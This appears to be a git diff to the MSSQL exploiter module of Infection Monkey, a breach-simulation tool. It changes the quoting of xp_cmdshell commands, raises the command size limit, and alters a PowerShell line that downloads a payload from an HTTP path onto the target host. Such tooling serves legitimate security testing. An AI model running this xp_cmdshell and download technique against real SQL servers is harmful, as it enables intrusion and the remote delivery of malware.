diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index b519ee422..453e875ca 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -33,16 +33,16 @@ class MSSQLExploiter(HostExploiter):
     TMP_FILE_NAME = "tmp_monkey.bat"
     TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
 
-    MAX_XP_CMDSHELL_COMMAND_SIZE = 128
+    MAX_XP_CMDSHELL_COMMAND_SIZE = 12800
 
-    XP_CMDSHELL_COMMAND_START = 'xp_cmdshell "'
-    XP_CMDSHELL_COMMAND_END = '"'
+    XP_CMDSHELL_COMMAND_START = "xp_cmdshell '"
+    XP_CMDSHELL_COMMAND_END = "'"
     EXPLOIT_COMMAND_PREFIX = "<nul set /p="
     EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
     CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
     MONKEY_DOWNLOAD_COMMAND = (
         "powershell (new-object System.Net.WebClient)."
-        "DownloadFile(^'{http_path}^' , ^'{dst_path}^')"
+        "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
     )
 
     def __init__(self):